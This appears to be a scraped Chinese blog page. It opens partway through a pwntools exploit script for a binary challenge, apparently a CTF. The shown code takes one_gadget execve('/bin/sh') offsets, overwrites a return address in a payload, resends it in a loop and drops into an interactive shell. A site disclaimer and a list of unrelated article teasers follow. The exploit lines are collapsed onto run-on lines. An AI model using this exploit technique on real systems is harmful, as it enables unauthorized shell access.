constraints:address rsp+0x40 is writablerax == NULL || {rax, "-c", rbx, NULL} is a valid argv0x3f43a execve("/bin/sh", rsp+0x30, environ)
constraints:[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv0xd5c07 execve("/bin/sh", rsp+0x70, environ)
constraints:[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''
oggs=[i+libc.address for i in [0x3f3e6,0x3f43a,0xd5c07]]
payload=payload.replace(b'waaaaaae',p64(oggs[1]))
io.sendlineafter(b'message:',payload)
io.recvuntil(b"(1:no)")
for _ in range(20):io.sendline(b'1\n'*5)io.sendlineafter(b'message:',payload)sleep(1)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/492563.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【开源免费】基于SpringBoot+Vue.JS网上订餐系统(JAVA毕业设计)

本文项目编号 T 018 &#xff0c;文末自助获取源码 \color{red}{T018&#xff0c;文末自助获取源码} T018&#xff0c;文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析 六、核心代码6.1 新…

【AIGC安全】CCF-CV企业交流会直播回顾:探寻AI安全治理,共筑可信AI未来

文章目录 一、活动背景&#xff1a;AI技术快速发展与安全治理需求迫切二、论坛内容金耀辉&#xff1a;智能共生时代&#xff1a;平衡生成式AI的创新与风险何延哲&#xff1a;人工智能安全检测评估的逻辑和要点谢洪涛&#xff1a;面向特定人物深度伪造视频的主动防御与被动检测技…

2024年12月英语六级CET6写作与翻译笔记

目录 1 写作 1.1 大学为学生提供了探索各种可能性 1.2 自律在个人成长中的重要性 1.3 切实可行的目标 2 翻译 2.1 洋山港(Yangshan Port) 2.2 中国航天事业 2.3 北斗卫星导航系统 1 写作 1.1 大学为学生提供了探索各种可能性 1.2 自律在个人成长中的重要性 1.3 切实可…

解决“SVN无法上传或下载*.so、*.a等二进制文件“问题

今天&#xff0c;在使用Subversion提交代码到服务器时&#xff0c;发现无法提交*.a、*.so等二进制文件&#xff0c;右击这些文件&#xff0c;发现其属性为ignores。     问题原因&#xff1a;SVN的配置文件里&#xff0c;屏蔽了*.a、*.so文件的上传与下载&#xff0c;并把这些…

linux-18 关于shell(十七)file命令

在linux里面是不以后缀名来区分文件类型的&#xff0c;它跟windows不一样&#xff0c;windows里面都会以后缀名来区分文件类型&#xff0c;比如说&#xff0c;.mp3&#xff0c;windows就会把它视为音乐文件&#xff0c;.txt就会视为纯文本文档&#xff0c;.png就会视为图片文档…

品牌控价:守护价值,引领渠道健康发展

在当今竞争激烈且多元化的商业环境中&#xff0c;品牌的发展之路犹如一场充满挑战与机遇的漫长征程。随着品牌影响力的逐步扩大&#xff0c;其销售渠道也日益丰富多样&#xff0c;尤其是电商平台的蓬勃兴起&#xff0c;使得品牌产品的销售链接如繁星般繁多。然而&#xff0c;这…

OpenEuler Linux上怎么测试Nvidia显卡安装情况

当安装好显卡驱动后怎么样知道驱动程序安装好了,这里以T400 OpenEuler 正常情况下,我们只要看一下nvidia-smi 状态就可以确定他已经正常了 如图: 这里就已经确定是可以正常使用了,这里只是没有运行对应的程序,那接来下我们就写一个测试程序来测试一下:以下代码通过AI给出然后…

shell5

字符串运算符 首先我们在终端利用vim打开u.sh str1"hello" str2"hello" if [ "$str1" "$str2" ]; thenecho True elseecho false fi我们把hello改为Hello&#xff0c;看一下大小写是否敏感 str1"Hello" str2"hello…

Linux-ubuntu之主频和时钟配置

Linux-ubuntu之主频和时钟配置 一&#xff0c;主频二&#xff0c;其它时钟配置1.PLL2和PLL3的PFD0-3设置2.AHB_CLK_ROOT3.IPG 和 PERCLK时钟 三&#xff0c;总结 一&#xff0c;主频 24MHz 晶振为内核和其它外设提供时钟源&#xff0c;经电路后到PLL1变为996MHZ&#xff0c;再…

深入浅出Flink CEP丨如何通过Flink SQL作业动态更新Flink CEP作业

复杂事件处理&#xff08;CEP&#xff09;是一种对事件流进行分析的技术&#xff0c;它能够识别出数据流中的事件序列是否符合特定的模式&#xff0c;并允许用户对这些模式进行处理。Flink CEP 是 CEP 在 Apache Flink 中的具体实现&#xff0c;是 Apache Flink 的一个库&#…

华为数通最新题库 H12-821 HCIP稳定过人中

以下是成绩单和考试人员 HCIP H12-831 HCIP H12-725 安全中级

Facebook 与数字社交的未来走向

随着数字技术的飞速发展&#xff0c;社交平台的角色和形式也在不断演变。作为全球最大社交平台之一&#xff0c;Facebook&#xff08;现Meta&#xff09;在推动数字社交的进程中扮演了至关重要的角色。然而&#xff0c;随着互联网的去中心化趋势和新技术的崛起&#xff0c;Face…

STM32中ADC模数转换器

一、ADC简介 ADC模拟-数字转换器 ADC可以将引脚连续变化的模拟电压转换为内存中存储的数字变量&#xff0c;建立模拟电路到数字电路的桥梁 12位逐次逼近型ADC&#xff0c;1us转换时间 输入电压范围&#xff1a; 0~3.3V&#xff0c;转换结果范围&#xff1a;0~4095 18个输入…

fpga系列 HDL:Quartus II PLL (Phase-Locked Loop) IP核 (Quartus II 18.0)

在 Quartus II 中使用 PLL (Phase-Locked Loop) 模块来将输入时钟分频或倍频&#xff0c;并生成多个相位偏移或频率不同的时钟信号&#xff1a; 1. 生成 PLL 模块 在 Quartus II 中&#xff1a; 打开 IP Components。 file:///C:/intelFPGA_lite/18.0/quartus/common/help/w…

Springboot3.x配置类(Configuration)和单元测试

配置类在Spring Boot框架中扮演着关键角色&#xff0c;它使开发者能够利用Java代码定义Bean、设定属性及调整其他Spring相关设置&#xff0c;取代了早期版本中依赖的XML配置文件。 集中化管理&#xff1a;借助Configuration注解&#xff0c;Spring Boot让用户能在一个或几个配…

【游戏中orika完成一个Entity的复制及其Entity异步落地的实现】 1.ctrl+shift+a是飞书下的截图 2.落地实现

一、orika工具使用 1)工具类 package com.xinyue.game.utils;import ma.glasnost.orika.MapperFactory; import ma.glasnost.orika.impl.DefaultMapperFactory;/*** author 王广帅* since 2022/2/8 22:37*/ public class XyBeanCopyUtil {private static MapperFactory mappe…

Unity 组件学习记录:Aspect Ratio Fitter

概述 Aspect Ratio Fitter是 Unity 中的一个组件&#xff0c;用于控制 UI 元素&#xff08;如Image、RawImage等&#xff09;的宽高比。它在处理不同屏幕分辨率和尺寸时非常有用&#xff0c;可以确保 UI 元素按照预期的比例进行显示。当添加到一个 UI 对象上时&#xff0c;Aspe…

uni-app开发AI康复锻炼小程序,帮助肢体受伤患者康复!

**提要&#xff1a;**近段时间我们收到多个康复机构用户&#xff0c;咨询AI运动识别插件是否可以应用于肢力运动受限患者的康复锻炼中来&#xff0c;插件是可以应用到AI康复锻炼中的&#xff0c;今天小编就为您介绍一下AI运动识别插件在康腹锻炼中的应用场景。 一、康复机构的应…

Elasticsearch:什么是信息检索?

信息检索定义 信息检索 (IR) 是一种有助于从大量非结构化或半结构化数据中有效、高效地检索相关信息的过程。信息&#xff08;IR&#xff09;检索系统有助于搜索、定位和呈现与用户的搜索查询或信息需求相匹配的信息。 作为信息访问的主要形式&#xff0c;信息检索是每天使用…

Pytest-Bdd vs Behave:选择最适合的 Python BDD 框架

Pytest-Bdd vs Behave&#xff1a;选择最适合的 Python BDD 框架 Pytest BDD vs Behave&#xff1a;选择最适合的 Python BDD 框架BDD 介绍Python BDD 框架列表Python BehavePytest BDDPytest BDD vs Behave&#xff1a;关键区别Pytest BDD vs Behave&#xff1a;最佳应用场景结…